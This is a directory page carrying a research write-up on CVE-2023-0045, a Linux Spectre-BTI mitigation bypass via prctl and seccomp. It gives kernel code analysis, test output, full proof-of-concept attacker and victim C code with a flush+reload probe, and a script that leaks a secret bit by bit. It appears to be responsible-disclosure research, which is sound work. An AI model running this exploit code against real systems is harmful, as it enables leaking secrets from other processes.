Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-0045 — Análise técnica e prova de conceito demonstrando um bypass das mitigações do espaço de usuário do kernel Linux para Spectre-BTI via prctl e seccomp, com explicação em nível de código e resultados de teste. | Kitploit
Ferramentas/GitHubGitHub/es0j/cve-2023-0045
Análise de VulnerabilidadesExploraçãoPapers e PesquisaAprendizado e EducaçãoExploração de Binários
GitHubes0j/cve-2023-0045

CVE-2023-0045

Análise técnica e prova de conceito demonstrando um bypass das mitigações do espaço de usuário do kernel Linux para Spectre-BTI via prctl e seccomp, com explicação em nível de código e resultados de teste.

Ver Repositório
142há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Bypassing as Mitigações de Espaço do Usuário do Spectre-BTI no Linux

Este é um documento de trabalho, por favor envie-nos feedback se achar que erramos algo ou se perdemos alguma citação

Versão 1.0

José Oliveira (esoj)

Rodrigo Branco (BSDaemon)

Introdução

Ao testar a taxa de sucesso dos ataques Spectre-BTI, detectamos um padrão estranho ao usar a API do kernel como mitigação1. Nossos testes revelaram que o kernel Linux não consegue mitigar corretamente o ataque, deixando o processo exposto por um curto período de tempo após a chamada de sistema.

Investigações adicionais mostraram que o kernel não emite um IBPB imediatamente durante a chamada de sistema. A função ib_prctl_set2 atualiza as Flags de Informação de Thread (TIFs) para a tarefa e atualiza o MSR SPEC_CTRL na função , mas o IBPB é emitido apenas no próximo agendamento, quando os bits TIF são verificados. Isso deixa a vítima vulnerável a valores já injetados no BTB antes da chamada de sistema prctl. O comportamento só é corrigido após um reagendamento da tarefa. Além disso, a entrada do kernel (devido à própria chamada de sistema) não emite um IBPB nos cenários padrão (ou seja, quando o kernel se protege via retpoline ou eIBRS).

__speculation_ctrl_update
3

A mitigação prctl

Executar um prctl para mitigar ataques spectre-BTI usando: prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); leva à função ib_prctl_set2 no kernel 5.15. Quando a opção SPEC_DISABLE é usada, o bit TIF para task_set_spec_ib_disable é definido e task_update_spec_tif é chamado:

root@kitploit:~
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
    /*
     * Indirect branch speculation is always allowed when
     * mitigation is force disabled.
     */
    if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
        spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
        return -EPERM;

    if (!is_spec_ib_user_controlled())
        return 0;

    task_set_spec_ib_disable(task);
    if (ctrl == PR_SPEC_FORCE_DISABLE)
        task_set_spec_ib_force_disable(task);
    task_update_spec_tif(task);
    break;

task_set_spec_ib_disable chama set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE); e se a tarefa alvo for a atual, chama speculation_ctrl_update_current();

root@kitploit:~
static void task_update_spec_tif(struct task_struct *tsk)
{
	/* Force the update of the real TIF bits */
	set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);

	/*
	 * Immediately update the speculation control MSRs for the current
	 * task, but for a non-current task delay setting the CPU
	 * mitigation until it is scheduled next.
	 *
	 * This can only happen for SECCOMP mitigation. For PRCTL it's
	 * always the current task.
	 */
	if (tsk == current)
		speculation_ctrl_update_current();
}

A função speculation_ctrl_update_current após o wrapper speculation_ctrl_update executa __speculation_ctrl_update com tifp = ~tifp, aqui a atualização do wrmsr para definir STIBP é executada, mas nenhum IBPB é emitido:

root@kitploit:~
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
						      unsigned long tifn)
{
	unsigned long tif_diff = tifp ^ tifn;
	u64 msr = x86_spec_ctrl_base;
	bool updmsr = false;

	lockdep_assert_irqs_disabled();

	/* Handle change of TIF_SSBD depending on the mitigation method. */
	if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_ssb_virt_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_core_ssb_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
		   static_cpu_has(X86_FEATURE_AMD_SSBD)) {
		updmsr |= !!(tif_diff & _TIF_SSBD);
		msr |= ssbd_tif_to_spec_ctrl(tifn);
	}

	/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
	if (IS_ENABLED(CONFIG_SMP) &&
	    static_branch_unlikely(&switch_to_cond_stibp)) {
		updmsr |= !!(tif_diff & _TIF_SPEC_IB);
		msr |= stibp_tif_to_spec_ctrl(tifn);
	}

	if (updmsr)
		wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}

A chamada de sistema seccomp também usa ib_prctl_set2 como mitigação, dentro de arch_seccomp_spec_mitigate4, portanto o mesmo resultado é esperado com seccomp.

Testes

Embora por análise de código estejamos certos de que a janela para exploração existe, não estava claro se era grande o suficiente para a vítima carregar segredos e o atacante vazá-los (já que se espera que os segredos não estejam no espaço de endereço da vítima até que a chamada prctl seja emitida). Os testes foram executados em uma máquina bare metal com suporte para mitigações de hardware, com um ubuntu 22.04.1 LTS instalado:

root@kitploit:~
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
  * Indirect Branch Restricted Speculation (IBRS)
    * SPEC_CTRL MSR is available:  YES
    * CPU indicates IBRS capability:  YES  (SPEC_CTRL feature bit)
  * Indirect Branch Prediction Barrier (IBPB)
    * CPU indicates IBPB capability:  YES  (SPEC_CTRL feature bit)
  * Single Thread Indirect Branch Predictors (STIBP)
    * SPEC_CTRL MSR is available:  YES
    * CPU indicates STIBP capability:  YES  (Intel STIBP feature bit)
  * Speculative Store Bypass Disable (SSBD)

O código de teste consiste em dois processos executando no mesmo núcleo lógico. O atacante envenena constantemente o BTB com o endereço de um gadget spectre presente em um processo vítima. O processo vítima mede a taxa de previsão incorreta verificando se uma variável de teste foi acessada pela função gadget spectre. Isso geralmente retorna a seguinte saída:

root@kitploit:~
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker  0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000  
Rate: 1000/1000  
Rate: 999/1000  
Rate: 1000/1000  
Rate: 1000/1000  
Rate: 997/1000  
Rate: 994/1000  
Rate: 996/1000  
Rate: 998/1000  
Rate: 993/1000  
Total misspredict rate: 9918/10000 (99.18 %)

Em seguida, PRCTL é usado para mitigar o ataque. A mitigação pode ser ativada adicionando prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); no início do programa. Espera-se que isso mitigue o ataque spectre-BTI:

root@kitploit:~
PRCTL GET value 0x9
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Total misspredict rate: 0/10000 (0.00 %)

No entanto, alguns dos testes mostraram um resultado diferente:

root@kitploit:~
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)

E alterar o 'nice' (prioridade) parece afetar a taxa de previsão incorreta:

root@kitploit:~
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)

esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)

Isso indica que o prctl só protegeu o processo após o próximo agendamento, conforme entendido pela análise de código. Outro comportamento estranho deste teste é que após um branch incorreto, o caminho de especulação deve ser corrigido e o valor verdadeiro deve ser escrito no BTB. Como não há outros atacantes na thread irmã para re-envenenar o BTB, valores tão altos de previsão incorreta são inesperados.

Prova de Conceito

Para garantir que isso não era um erro de medição, criamos uma POC simples. O código da vítima sempre executa uma safe_function através de um ponteiro de função que é vulnerável a um ataque spectre-BTI. A vítima solicita ao kernel proteção usando a chamada de sistema prctl (dentro de protect_me). A vítima também carrega um segredo de um arquivo de texto, mostrando que outras chamadas de sistema também não verificam o bit TIF nem provocam um reagendamento que forçaria um IBPB.

root@kitploit:~
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"

int main(int argc, char *argv[])
{

    setvbuf(stdout, NULL, _IONBF, 0);
    printf("running victim %s\n", argv[1]);

    //only call safe_function
    codePtr = safe_function;
    char secret[20];
    char *sharedmem = open_shared_mem();
    unsigned idx = string_to_unsigned(argv[1]);

    //call for prctl to protect this process
    protect_me();

    //only then load the secret into memory
    load_secret(secret);

    for (int i = 0; i < 100; i++)
    {
        flush((char *)&codePtr);
        //this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
        //Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
        spec(&sharedmem[2000], secret, idx);
    }
}

A maioria das funções libc foi colocada dentro de um cabeçalho comum entre o atacante e a vítima para que as funções spectre_gadget e spec compartilhem os mesmos endereços de memória tanto na vítima quanto no atacante (caso contrário, uma entrada .GOT é criada e os endereços são alterados). Isso não é um requisito e existem outras maneiras de colocar os branches nos mesmos endereços e imitar o contexto da vítima, mas este método é mais simples.

root@kitploit:~
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>

char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];

// this function dos nothing. Always called by the victim
void safe_function(char *a, char *b, unsigned idx)
{
}

// this function is never called by the victim
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
    volatile char d;
    if ((secret[idx / 8] >> (idx % 8)) & 1)
        d = *addr;
}

// helper for better results probabbly not necessary but makes the tests easier
void flush(char *adrs)
{
    asm volatile(
        "clflush [%0]                   \n"
        :
        : "c"(adrs)
        :);
}

// This function is vulnerable to a spectre-BTI attack.
void spec(char *addr, char *secret, unsigned idx)
{

    for (register int i = 0; i < 30; i++)
        ;
    codePtr(addr, secret, idx);
}

// opens file as read only in memory to be used as side channel, but could be any other COW file like libc for example
char *open_shared_mem()
{
    int fd = open("sharedmem", O_RDONLY);
    char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
    // ensure page is on memory
    volatile char d = res[2100];
    return res;
}

// load secret from file
void load_secret(char *secret)
{
    FILE *fp = fopen("secret.txt", "r");
    fgets(secret, 20, (FILE *)fp);
}

// Calls prctl to protect the user against spectre-BTI attacks - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
    usleep(1000); //not needed but resets the available time on scheduler
    prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
}

// Utility. All utility functions are placed on common so the spec function matches the same address on both victim and attacker. This is not necessary but makes the tests easier
unsigned string_to_unsigned(char *s)
{
    return atoi(s);
}

O ataque consiste em envenenar o BTB chamando a função spec e fazendo-a desviar para spectre_gadget em vez de safe_function. Após o treinamento, o processo vítima é criado e executa spec que prevê incorretamente para spectre_gadget, que nunca deveria ser executado. O segredo é vazado através de um canal lateral clássico flush+reload.

root@kitploit:~
//gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"

#define PRINTNUM 1000

unsigned probe(char *adrs)
{
    volatile unsigned long time;
    asm __volatile__(
        "    mfence             \n"
        "    lfence             \n"
        "    rdtsc              \n"
        "    lfence             \n"
        "    mov esi, eax       \n"
        "    mov eax,[%1]       \n"
        "    lfence             \n"
        "    rdtsc              \n"
        "    sub eax, esi       \n"
        "    clflush [%1]       \n"
        "    mfence             \n"
        "    lfence             \n"
        : "=a"(time)
        : "c"(adrs)
        : "%esi", "%edx");
    return time;
}

int main(int argc, char *argv[])
{

    //Make spec function confuse safe_function with spectre_gadget
    codePtr = spectre_gadget;

    char dummy;
    int hits = 0;
    int tries = 0;
    char *sharedmem = open_shared_mem();
    setvbuf(stdout, NULL, _IONBF, 0);

    while (1)
    {
        //Inject the target in the BTB
        spec(&dummy, &dummy, 0);

        //Allow for victim to execute and misspredict to spectre_gadget
        usleep(1);

        //probe the 1-bit flush+reload side channel
        if (probe((char *)&sharedmem[2000]) < 0x90)
        {
            printf("+");
        }
    }
}

Como a vítima recebe um argumento que pode ser usado para escolher o bit a ser vazado através do canal lateral, podemos executar o processo vítima várias vezes enquanto o atacante está em execução:

root@kitploit:~
taskset -c 0 ./attacker >> result.txt &

for i in {0..144}
do
    echo "Leaking bit $i... "
    echo -e -n "Leaking bit $i: " >> result.txt
    sleep .01
    for j in {0..10}
    do
        taskset -c 0 ./victim $i >/dev/null
    done

    echo "" >> result.txt
done

python3 parseResult.py 

make clean
echo -e "killing attacker"
kill -9 $(pidof attacker)

Isso deixa o seguinte arquivo de texto:

root@kitploit:~
Leaking bit 0: +++++++++++
Leaking bit 1: 
Leaking bit 2: 
Leaking bit 3: 
Leaking bit 4: 
Leaking bit 5: 
Leaking bit 6: ++++++++++
Leaking bit 7: 
Leaking bit 8: ++++++++
[...]

Observe que os bits 0 e 6 são 1, portanto, o primeiro caractere deve ser 0x41 (A). Analisando o arquivo com um script python simples mostra: O segredo vazado é: b'Asuper_secret_flag' Que é o conteúdo exato presente em secret.txt usado pela vítima.

Alterar a chamada prctl para seccomp com syscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0); após carregar o segredo não impede o ataque. Isso é esperado, pois internamente ambos usam a mesma função ib_prctl_set para implementar a mitigação.

Conclusão

A implementação atual da chamada de sistema prctl para controle especulativo falha em proteger o usuário contra atacantes que executam antes da mitigação. A mitigação seccomp também falha neste cenário.

Mitigações

Para aplicações em modo de usuário, um usleep após a chamada prctl é suficiente para forçar um reagendamento e garantir a mitigação correta. Um possível patch de kernel para este ataque é emitir o IBPB ao mesmo tempo que o STIBP é definido, em __speculation_ctrl_update 3 ou chamar schedule().

Cronograma

  • 27 de dezembro de 2022 - Comportamento inesperado no prctl detectado

  • 29 de dezembro de 2022 - Primeira versão deste relatório

  • 31 de dezembro de 2022 - Compartilhado com a equipe de segurança do kernel Linux

  • 02 de fevereiro de 2023 - Relatório divulgado publicamente: https://github.com/google/security-research/security/advisories/GHSA-9x5g-vmxf-4qj8

Referências:

Footnotes

  1. “The Linux kernel user-space API guide: Speculation Control”. Link: https://docs.kernel.org/userspace-api/spec_ctrl.html ↩

  2. "Linux Source code" Link: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467) ↩ ↩2 ↩3

  3. "Linux Source code" Link: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557) ↩ ↩2

  4. "Linux Source code" Link: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616) ↩

Baixar ferramenta